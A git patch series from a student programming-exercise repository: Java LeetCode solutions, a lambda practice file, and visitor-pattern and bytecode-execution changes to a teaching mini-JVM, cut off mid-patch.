+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java
@@ -0,0 +1,76 @@
+package com.coding.me.leetcode.algorithms;
+
+/**
+ * Given a list of positive integers, the adjacent integers will perform the
+ * float division. For example, [2,3,4] -> 2 / 3 / 4.
+ * 
+ * However, you can add any number of parenthesis at any position to change the
+ * priority of operations. You should find out how to add parenthesis to get the
+ * maximum result, and return the corresponding expression in string format.
+ * Your expression should NOT contain redundant parenthesis.
+ * 
+ * Example: Input: [1000,100,10,2] Output: "1000/(100/10/2)" Explanation:
+ * 1000/(100/10/2) = 1000/((100/10)/2) = 200 However, the bold parenthesis in
+ * "1000/((100/10)/2)" are redundant, since they don't influence the operation
+ * priority. So you should return "1000/(100/10/2)".
+ * 
+ * Other cases: 1000/(100/10)/2 = 50 1000/(100/(10/2)) = 50 1000/100/10/2 = 0.5
+ * 1000/100/(10/2) = 2 Note:
+ * 
+ * The length of the input array is [1, 10]. Elements in the given array will be
+ * in range [2, 1000]. There is only one optimal division for each test case.
+ * 
+ * @author hewj
+ *
+ */
+public class OptimalDivision {
+	
+	public static String mySolution(int[] nums) {
+        if(nums.length == 0 || nums.length > 10) {
+        	return "";
+        }
+        if(nums.length == 1) {
+        	return "" + nums[0];
+        }
+        straightInsertionSort(nums);
+        StringBuilder sb = new StringBuilder();
+        sb.append(nums[0]).append("/");
+        if(nums.length == 2){
+        	sb.append(nums[1]);
+        }else{
+        	sb.append("(");
+        	for(int k=1;k<nums.length;k++){
+        		sb.append(nums[k]);
+        		if(k == nums.length - 1){
+        			sb.append(")");
+        		}else{
+        			sb.append("/");
+        		}
+        	}
+        }
+		return sb.toString();
+    }
+
+	private static void straightInsertionSort(int[] nums) {
+		for(int i=0;i<nums.length;i++){
+        	int max = nums[i];
+        	int pos = i;
+        	for(int j=i+1;j<nums.length;j++){
+        		if(max < nums[j]){
+        			max = nums[j];
+        			pos = j;
+        		}
+        	}
+        	if(pos != i) {
+        		int tmp = nums[i];
+        		nums[i] = nums[pos];
+        		nums[pos] = tmp;
+        	}
+        }
+	}
+	
+	public static void main(String[] args) {
+		int[] nums = {1000,100,2,10};
+		mySolution(nums);
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java
new file mode 100644
index 0000000000..f6f1ac37fa
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java
@@ -0,0 +1,46 @@
+package com.coding.me.leetcode.algorithms;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * You are given a string representing an attendance record for a student. The
+ * record only contains the following three characters:
+ * 
+ * 'A' : Absent. 'L' : Late. 'P' : Present. A student could be rewarded if his
+ * attendance record doesn't contain more than one 'A' (absent) or more than two
+ * continuous 'L' (late).
+ * 
+ * You need to return whether the student could be rewarded according to his
+ * attendance record.
+ * 
+ * Example 1: Input: "PPALLP" Output: True Example 2: Input: "PPALLL" Output:
+ * False
+ */
+public class StudentAttendanceRecord1 {
+	
+	public static boolean mySolution(String s) {
+		char[] cs = s.toCharArray();
+		int aCount = 0;
+		List<Character> lList = new ArrayList<>();
+		for(int i=0;i<cs.length;i++){
+			if(cs[i] == 65){
+				aCount++;
+				lList.clear();
+			}
+			else if(cs[i] == 76){
+				lList.add(cs[i]);
+			}
+			else
+				lList.clear();
+			if(aCount > 1 || lList.size() > 2){
+				return false;
+			}
+		}
+		return true;
+	}
+	
+	public static void main(String[] args) {
+		System.out.println(mySolution("LPLPLPLPLPL"));
+	}
+}
diff --git a/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java b/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
new file mode 100644
index 0000000000..b43ac3f6d4
--- /dev/null
+++ b/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
@@ -0,0 +1,27 @@
+package me.practise;
+
+import java.awt.event.ActionListener;
+import java.util.function.BinaryOperator;
+
+public class chapter2 {
+	
+	public static void main(String[] args) {
+		Runnable noArg = () -> System.out.println("runnable with no argument.");
+		Thread thread = new Thread(noArg);
+		thread.start();
+		
+		ActionListener oneArg = event -> System.out.println("actionListener with one argument.");
+		
+		Runnable multiStatement = () -> {
+			System.out.println("Runnable with multi statement.");
+			System.out.println("Hello Java8!");
+		};
+		BinaryOperator<Long> add = (x, y) -> x + y;
+		BinaryOperator<Long> addExplicit = (Long x, Long y) -> x + y;
+		
+		String name = "abc";
+		name = "def";
+		//ActionListener oneArg1 = event -> System.out.println("actionListener with one argument." + name);
+		// 编译无法通过：方法块中使用的变量必须使用final声明或既成事实的final变量，即变成赋值成功后不能再赋值
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
index aea9048ea4..92ac5b67eb 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -21,4 +21,8 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
index 466b072244..8d4fc6f0de 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -26,4 +26,16 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor {
+		void visitClassInfo(ClassInfo classInfo);
+		void visitFieldRefInfo(FieldRefInfo fieldRefInfo);
+		void visitMethodRefInfo(MethodRefInfo methodRefInfo);
+		void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo);
+		void visitNullConstantInfo(NullConstantInfo nullConstantInfo);
+		void visitStringInfo(StringInfo stringInfo);
+		void visitUTF8Info(UTF8Info utf8Info);
+	}
+	
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
index 86c0445695..93506b1e20 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
index 65475e194c..cb31499dd3 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -51,4 +51,8 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRefInfo(this);
+	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
index 7f05870020..466b06f9ea 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -49,6 +49,11 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRefInfo(this);
+	}
 	
 	
 	
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index 402f9dec86..c13d8c4fc6 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -42,4 +42,9 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndTypeInfo(this);
+	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
index 936736016f..655c273621 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,9 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNullConstantInfo(this);
+	}
 	
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
index f1f8eb4ed4..84ae36c4ca 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -22,5 +22,10 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitStringInfo(this);
+	}
 	
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
index 5cac9f04f7..7c4aeb1861 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -26,6 +26,10 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitUTF8Info(this);
+	}
 	
 	
 
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
index 14407bacbe..f4f8ef8c58 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -40,7 +40,7 @@ public void print(){
 	}
 	
 	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		String path = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path);
 		String className = "com.coderising.jvm.test.EmployeeV1";
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
index 028161adc7..2e84c4b2f1 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -1,11 +1,14 @@
 package com.coderising.jvm.print;
 
+import java.util.concurrent.SynchronousQueue;
+
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
 
@@ -18,8 +21,57 @@ public void print(){
 		
 		System.out.println("Constant Pool:");
 		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitUTF8Info(UTF8Info utf8Info) {
+				System.out.println("UTF8           " + utf8Info.getValue());
+			}
+			
+			@Override
+			public void visitStringInfo(StringInfo stringInfo) {
+				System.out.println("String         " + stringInfo.toString());
+			}
+			
+			@Override
+			public void visitNullConstantInfo(NullConstantInfo nullConstantInfo) {
+				
+			}
+			
+			@Override
+			public void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo) {
+				System.out.println("NameAndType    " + nameAndTypeInfo.getIndex1() + ":" + nameAndTypeInfo.getIndex2()
+						+ "    // " + nameAndTypeInfo.getName() + ":" + nameAndTypeInfo.getTypeInfo());
+			}
+			
+			@Override
+			public void visitMethodRefInfo(MethodRefInfo methodRefInfo) {
+				System.out.println("Methodref      " + methodRefInfo.getClassInfoIndex() + "." 
+						+ methodRefInfo.getNameAndTypeIndex() + "    // "
+						+ methodRefInfo.getClassName() + "." + methodRefInfo.getMethodName()
+						+ ":" + methodRefInfo.getParamAndReturnType());
+			}
+			
+			@Override
+			public void visitFieldRefInfo(FieldRefInfo fieldRefInfo) {
+				System.out.println("Fieldref       " + fieldRefInfo.getClassInfoIndex() + "."
+						+ fieldRefInfo.getNameAndTypeIndex() + "    // "
+						+ fieldRefInfo.getClassName() + "." + fieldRefInfo.getFieldName() + ":"
+						+ fieldRefInfo.getFieldType());
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo classInfo) {
+				System.out.println("Class          " + classInfo.getUtf8Index() + "    // " + classInfo.getClassName());
+			}
+		};
 		
-		
-		
+		for(int i=1;i<this.pool.getSize();i++){
+			if(i < 10){
+				System.out.print(" ");
+			}
+			System.out.print("  #" + i + " = ");
+			this.pool.getConstantInfo(i).accept(visitor);
+		}
 	}
 }

From c1fccfc613737a5965d363637994e04150814e4c Mon Sep 17 00:00:00 2001
From: zj <2258659044@qq.com>
Date: Tue, 25 Apr 2017 22:55:39 +0800
Subject: [PATCH 125/262] =?UTF-8?q?=E4=B8=A4=E4=B8=AA=E6=A0=88=E7=BB=84?=
 =?UTF-8?q?=E6=88=90=E9=98=9F=E5=88=97=E5=AE=8C=E6=88=90=E4=B8=8Ejvm?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  16 +--
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  46 +++++--
 .../com/coderising/jvm/cmd/CommandParser.java |  64 +++------
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  21 ++-
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  26 +++-
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  26 +++-
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  65 ++++++++-
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  24 +++-
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  25 ++--
 .../com/coderising/jvm/cmd/NoOperandCmd.java  | 129 +++++++++++++++++-
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  29 +++-
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  12 +-
 .../coderising/jvm/engine/ExecutorEngine.java |  42 +++++-
 .../com/coderising/jvm/engine/MethodArea.java |  49 +++++--
 .../com/coderising/jvm/engine/MiniJVM.java    |  12 ++
 .../com/coderising/jvm/engine/StackFrame.java |  36 ++++-
 .../src/com/coderising/jvm/method/Method.java |  61 +++++++++
 .../basic/queue/QueueWithTwoStacks.java       |  30 ++--
 .../coderising/jvm/ClassFileloaderTest.java   |   4 +-
 .../basic/queue/QueueWithTwoStacksTest.java   |  72 ++++++++++
 20 files changed, 642 insertions(+), 147 deletions(-)
 create mode 100644 group12/2258659044/zj-2017/src/test/com/coding/basic/queue/QueueWithTwoStacksTest.java

diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
index 85b2b876ff..cff93f9f9b 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -1,8 +1,9 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class BiPushCmd extends OneOperandCmd {
@@ -13,15 +14,14 @@ public BiPushCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+		return this.getOffset()+":"+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
-	
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
+	public void execute(StackFrame frame,ExecutionResult result){
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);
 		
 	}
-
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
index f4f63c0174..d763dbfbd8 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -15,6 +15,40 @@ public abstract class ByteCodeCommand {
 	ClassFile clzFile;	
 	private int offset;
 	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
 	private static Map<String,String> codeMap = new HashMap<String,String>();
 	
 	static{
@@ -105,18 +139,6 @@ public String getOpCode() {
 
 	public abstract int getLength();
 	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
 	public String getReadableCodeText(){
 		String txt = codeMap.get(opCode);
 		if(txt == null){
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java
index 0dd0573ae5..d1bfdeb21b 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java
@@ -7,40 +7,7 @@
 
 public class CommandParser {
 	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
+	
 
 	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 
@@ -57,51 +24,58 @@ public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 		while (iter.hasNext()) {
 			String opCode = iter.next2CharAsString();
 
-			if (new_object.equals(opCode)) {
+			if (ByteCodeCommand.new_object.equals(opCode)) {
 				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
 
 				cmd.setOprand1(iter.next2CharAsInt());
 				cmd.setOprand2(iter.next2CharAsInt());
 
 				cmds.add(cmd);
-			} else if (invokespecial.equals(opCode)) {
+			} else if (ByteCodeCommand.invokespecial.equals(opCode)) {
 				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
 				cmd.setOprand1(iter.next2CharAsInt());
 				cmd.setOprand2(iter.next2CharAsInt());
 				// System.out.println( cmd.toString(clzFile.getConstPool()));
 				cmds.add(cmd);
-			} else if (invokevirtual.equals(opCode)) {
+			} else if (ByteCodeCommand.invokevirtual.equals(opCode)) {
 				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
 				cmd.setOprand1(iter.next2CharAsInt());
 				cmd.setOprand2(iter.next2CharAsInt());
 
 				cmds.add(cmd);
-			} else if (getfield.equals(opCode)) {
+			} else if (ByteCodeCommand.getfield.equals(opCode)) {
 				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
 				cmd.setOprand1(iter.next2CharAsInt());
 				cmd.setOprand2(iter.next2CharAsInt());
 				cmds.add(cmd);
-			} else if (getstatic.equals(opCode)) {
+			} else if (ByteCodeCommand.getstatic.equals(opCode)) {
 				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
 				cmd.setOprand1(iter.next2CharAsInt());
 				cmd.setOprand2(iter.next2CharAsInt());
 				cmds.add(cmd);
-			} else if (putfield.equals(opCode)) {
+			} else if (ByteCodeCommand.putfield.equals(opCode)) {
 				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
 				cmd.setOprand1(iter.next2CharAsInt());
 				cmd.setOprand2(iter.next2CharAsInt());
 				cmds.add(cmd);
-			} else if (ldc.equals(opCode)) {
+			} else if (ByteCodeCommand.ldc.equals(opCode)) {
 				LdcCmd cmd = new LdcCmd(clzFile, opCode);
 				cmd.setOperand(iter.next2CharAsInt());
 				cmds.add(cmd);
-			} else if (bipush.equals(opCode)) {
+			} else if (ByteCodeCommand.bipush.equals(opCode)) {
 				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
 				cmd.setOperand(iter.next2CharAsInt());
 				cmds.add(cmd);
-			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+			} else if (ByteCodeCommand.dup.equals(opCode) 
+					|| ByteCodeCommand.aload_0.equals(opCode) 
+					|| ByteCodeCommand.aload_1.equals(opCode) 
+					|| ByteCodeCommand.aload_2.equals(opCode)
+					|| ByteCodeCommand.iload_1.equals(opCode) 
+					|| ByteCodeCommand.iload_2.equals(opCode) 
+					|| ByteCodeCommand.iload_3.equals(opCode)
+					|| ByteCodeCommand.fload_3.equals(opCode) 
+					|| ByteCodeCommand.voidreturn.equals(opCode) 
+					|| ByteCodeCommand.astore_1.equals(opCode)) {
 
 				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
 				cmds.add(cmd);
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
index aa268ca39e..f5b6932613 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -1,8 +1,9 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class GetFieldCmd extends TwoOperandCmd {
@@ -12,16 +13,22 @@ public GetFieldCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsField(pool);
+		return super.getOperandAsField();
 	}
 
 	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
+	public void execute(StackFrame frame,ExecutionResult result) {
 		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String fieldName = fieldRef.getFieldName();
+		JavaObject jo = frame.getOprandStack().pop();
+		JavaObject fieldValue = jo.getFieldValue(fieldName);
 		
-	}
-	
-
+		frame.getOprandStack().push(fieldValue);
+		
+		
+		
+	}	
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
index 54a85e2603..26ab9c8be0 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -1,8 +1,10 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
@@ -13,14 +15,24 @@ public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsField(pool);
+		return super.getOperandAsField();
 	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
+	
+	@Override	
+	public void execute(StackFrame frame,ExecutionResult result) {
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String className = info.getClassName();
+		String fieldName = info.getFieldName();
+		String fieldType = info.getFieldType();
 		
+		if("java/lang/System".equals(className) 
+				&& "out".equals(fieldName) 
+				&& "Ljava/io/PrintStream;".equals(fieldType)){
+			JavaObject jo = Heap.getInstance().newObject(className);
+			frame.getOprandStack().push(jo);
+		}
+		//TODO 处理非System.out的情况
 	}
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
index bdc4b00adc..01390d7b5a 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -1,9 +1,11 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.MethodArea;
 import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
 
@@ -13,15 +15,27 @@ public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsMethod(pool);
+		return super.getOperandAsMethod();
 	}
-
 	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
+	public void execute(StackFrame frame,ExecutionResult result) {		
 		
+				
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
 		
+		// 我们不用实现jang.lang.Object 的init方法
+		if(methodRefInfo.getClassName().equals("java/lang/Object") 
